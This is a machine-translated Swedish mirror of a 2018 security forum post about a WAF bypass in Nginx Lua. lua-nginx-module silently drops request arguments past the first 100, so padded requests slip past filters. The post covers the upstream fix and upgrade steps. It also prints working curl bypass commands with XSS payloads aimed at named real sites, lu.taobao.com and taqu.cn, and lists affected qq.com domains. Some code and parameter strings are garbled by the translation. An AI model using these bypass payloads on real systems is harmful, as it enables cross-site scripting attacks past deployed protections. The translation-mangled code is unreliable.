Denna artikel är en spegelartikel om maskinöversättning, klicka här för att hoppa till originalartikeln.

Utsikt: 16994|Svar: 1

[Säkerhetssårbarhet] Nginx Luas sårbarhet för WAF-applikationsbrandvägg

[Kopiera länk]
Publicerad på 2018-04-27 09:23:29 | | | |
När ginx Lua får parametrar erhålls de första 100 parametervärdena som standard, och resten kasseras.
Därför kommer WAF:er som använder Nginx Lua att förbigås som standard.
Den 20 den 18 april hade någon på säkerhetspassageraren redan avslöjat denna detalj, så jag publicerade även denna artikel 233.



Princip

Den officiella beskrivningen är som följer

Observera att maximalt 100 begäranarargument tolkas som standard (inklusive de med samma namn) och att ytterligare förfrågningsargument tyst kasseras för att skydda mot potentiella argument Överbelastningsattacker.

Upp till 100 begäransökningsparametrar (inklusive de med samma namn) kan tolkas som standard, och ytterligare begäransökningsparametrar tas automatiskt bort för att förhindra potentiella överkörningsattacker.

Sök 100, ungefär följande metod har samma problem.
ngx.req.get_uri_args Hämta förfrågningsparametrarna för get
ngx.req.get_post_args Få förfrågningsparametrarna för inlägget
ngx.req.get_headers Hämta begäransökan.
ngx.decode_args Avkoda URL:en för parametrarna
ngx.resp.get_headers Få svarshuvudet
I lua-nginx-modulens källkod kan vi se att källkoden sätter standardparametern och headern för maximal begäran till 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Dock tillhandahåller tjänstemannen en metod för att ändra standardvärdet, såsom ngx.req.get_uri_args (200) för att få de första 200 förfrågningsparametrarna.

Test

Om begäranparametern är 101 kan den sista begäranparametern inte erhållas.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Om du minskar en förfrågningsparameter kan du få den sista förfrågningsparametern när förfrågningsparametrarna är exakt 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
A: ZBG
Jag har dig, zbg

Observera att standardvärdet faktiskt är 100 förfrågningsparametrar, och förfrågningsparametrarna efter 100 förfrågningsparametrar kommer att kasseras.

Det är märkligt att i returinnehållet ovan, mitt i den grova positionen, är den slutliga zbg-parametern redan utmatad. Min gissning är att utdata inte är i ordning, men ordningen i vilken parsingen sker följer ordningen i vilken parametrarna lämnas in, eftersom när värdet på den 101:a parametern är zbg kan värdet inte erhållas.

Bifogat är pythonskriptet som genererar parametrarna:

# Författare: ZBG
# post:zbg@zbg.org
# datum: 2018-04-03

a = ''
för i inom intervall(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
tryck a
reparera
Naturligtvis rekommenderas det inte att ändra MAX-värdet för parametern i källkoden. För oavsett hur stort värdet du sätter kan det kringgås. Det rekommenderas att ställa in den genom metodens parametrar.
Om du kan få längden på begäranparametern och använda en metod som ngx.req.get_uri_args (lenth), skulle det inte räcka?
När jag läste dokumentationen upptäckte jag att antalet begärda parametrar inte kunde erhållas. Men om du sätter lenth till 0 kan du få alla begärda parametrar.

Detta argument kan sättas till noll för att ta bort gränsen och för att bearbeta alla mottagna begäranarargument.
lokala ARGS = ngx.req.get_uri_args(0)

Det avråds dock starkt att sätta den till 0 för att förhindra potentiella överbelastningsattacker.

Att ta bort max_args lock avråds starkt.

Faktiskt undrade jag varför inställning 0 skulle leda till en potentiell överbelastningsattack, och att begäran ändå skulle gå till nginx, oavsett hur många parametrar det fanns i get eller post.

Jag tog upp ett problem med tjänstemannen, och författaren sa att ngx.req.get_uri_args (0) kommer att öka serverns CPU- och minnesanvändning. Senare testade jag 200 parametrar och använde Nginx+php för att få fram den 200:e parametern, vilket betyder att Nginx inte begränsar antalet begärda parametrar som standard. Då kan problemet ligga i Nginx Lua själv,När Nginx Lua använder ngx.req.get_uri_args(0) för att hämta alla parametrar och itererar genom dem, förbrukar det mer CPU och minne när det väl efterfrågas många parametrar, och leder till slut till en överbelastning av tjänst

Den 03/04/2018 tog Bypass007 officiellt upp ett PROBLEM om denna buggfix, och lade slutligen officiellt till en ny funktion baserad på detta PROBLEM den 2018-04-21. Commit-postadressen för denna funktion: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Funktionsbeskrivningen är följande: I versioner efter v0.10.13 (inklusive v0.10.13), när gränsen för antalet förfrågningar bryts, är det andra returvärdet den trunkerade strängen.
Sedan v0.10.13, när gränsen överskrids, kommer det att returnera ett andra värde som är strängen "trunkerad".
Dock kan argumentet max_args funktion användas för att åsidosätta denna gräns:
Lokala ARG:er, ERR = ngx.req.get_uri_args(10)
Om err == "trunkerad" så
     -- kan man välja att ignorera eller avslå den aktuella begäran här
slut

Så, den slutgiltiga lösningen kom ut.

Uppgradera lua-nginx-modulen till v0.10.13 eller senare

Begränsa sedan det totala antalet parametrar, och för hur mycket det totala antalet är begränsat tycker jag personligen att 100 är tillräckligt

OpenResty uppgraderar lua-nginx-modulmodulen

Jag hittade ingen information om OpenResty-uppgraderingsmodulen, så jag kom på hur man uppgraderar lua-nginx-modulen själv.

Stegen är följande:

Ladda ner motsvarande version av lua-nginx-modulmodulen
Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
uppacka
tar -zxvf v0.10.13
Ta bort den tidigare versionen av lua-nginx-modulen
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopiera den nya lua-nginx-modulen
MV LUA-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
För kompilering, se kompileringsparametrarna för VeryNginx


Förbipassering av fodralet

Det bör förtydligas att jag inte är säker på om jag ska använda Nginx Lua för följande WAFs, men de kan kringgås med det totala antalet parametrar.

Ali WAF

Denna WAF är en WAF som används internt av Alibaba, det vill säga den WAF som används av domännamn som *.taobao.com, och har inte testats för molnets WAF som säljs av Alibaba Cloud.
Först, begär en POST XSS-nyttolast för att avlyssna den.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Genom Fuzz upptäcktes att när antalet parametrar ökas till 478 med XSS Payload, blir den inte längre avlyssnad och webbplatsen kan nås normalt.
Curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131=131&a132=132&a133=133=134& A135=135&A136=136&A137=137&A138=138&A139=139&A140=140&A141=141&A142=142&A143=143&A144=144=145&A146=146&A147=147&A148=148&A149=149&A150=150&A151=151&A152=152&A153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171=171& A172=172&A173=173&A174=174&A175=175&A176=176&A177=177&A178=178&A179=179&A180=180&A181=181&A182=182&A183=183&A184=184&A185=185&A186=186&A187=187&A188=188&A189=189&A190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& A209=209&A210=210&A211=211&A212=212&A213=213&A214=214&A215=215&A216=216&A217=217&A218=218&A219=219&A220=220&A221=21&A222=22=222=223&A224=24&a225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& A246=246&A247=247&A248=248&A249=249&A250=250&A251=251&A252=252&A253=253&A254=254&A255=255&A256=256&A257=257&A258=258&A259=259&A260=260&A261=261&A262=262&A263=263&A264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& A283=283&A284=284&A285=285&A286=286&A287=287&A288=288&A289=289&A290=290&A291=291&A292=292&A293=293&A294=294&A295=295&A296=296&A297=297&A298=298&A299=299&A300=300&A301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& A320=320&A321=321&A322=322&A323=323&A324=324&A325=325&A326=326&A327=327&A328=328&A329=329&A330=330&A331=331&A332=332&A333=333&A334=334&A335=35&A336=336&A337=37&A338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355=356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& A394=394&A395=395&A396=396&A397=397&A398=398&A399=399&A400=400&A401=401&A402=402&A403=403&A404=404&A405=405&A406=406&A407=407&A408=408&A409=409&A410=410&A411=411&A412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& A431=431&A432=432&A433=433&A434=434&A435=435&A436=436&A437=437&A438=438&A439=439&A440=440&A441=441&A442=442&A443=443&A444=444=444=445=445&A446=46&A447=447&A448=48&A449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=455=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465=465&a466=466=466=467& A468=468&A469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<Img SRC=X onerror=alert(/xss/)>' lu.taobao.com

UCloud

Den WAF som testas är en WAF som säljs av UCloud.
När begäranparametern höjs till 138 kommer den inte längre att blockeras och webbplatsen kommer att nås som vanligt.
curl -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110=110&a1111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131=131&a132=132&a133=133=134& A135=135&A136=136&A137=137&A=alert(1234)' taqu.cn

Tencent WAF

Denna WAF är en WAF som används internt av Tencent, det vill säga den WAF som används av domännamn som *.qq.com, och har inte testats för molnets WAF som säljs av Tencent Cloud.
När begäranparametern ökar till 4000 kommer den inte längre att blockeras och webbplatsen kommer att nås normalt. Slumpmässiga tester av följande domäner påverkas.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

sammanfattning

Den här frågan är mycket enkel, och du kan hitta den genom att noggrant läsa dokumentet. Men varför fick jag inte reda på det? Jag tycker fortfarande att det är för lite tänkande.
Referens
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Föregående:Lär dig Photoshop från grunden, 18 lektioner från nybörjare till gud
Nästa:Styrkor och svagheter hos Lua och Luajit
Friskrivning:
All programvara, programmeringsmaterial eller artiklar som publiceras av Code Farmer Network är endast för lärande- och forskningsändamål; Ovanstående innehåll får inte användas för kommersiella eller olagliga ändamål, annars kommer användarna att bära alla konsekvenser. Informationen på denna sida kommer från internet, och upphovsrättstvister har inget med denna sida att göra. Du måste helt radera ovanstående innehåll från din dator inom 24 timmar efter nedladdning. Om du gillar programmet, vänligen stöd äkta programvara, köp registrering och få bättre äkta tjänster. Om det finns något intrång, vänligen kontakta oss via e-post.

Mail To:help@itsvse.com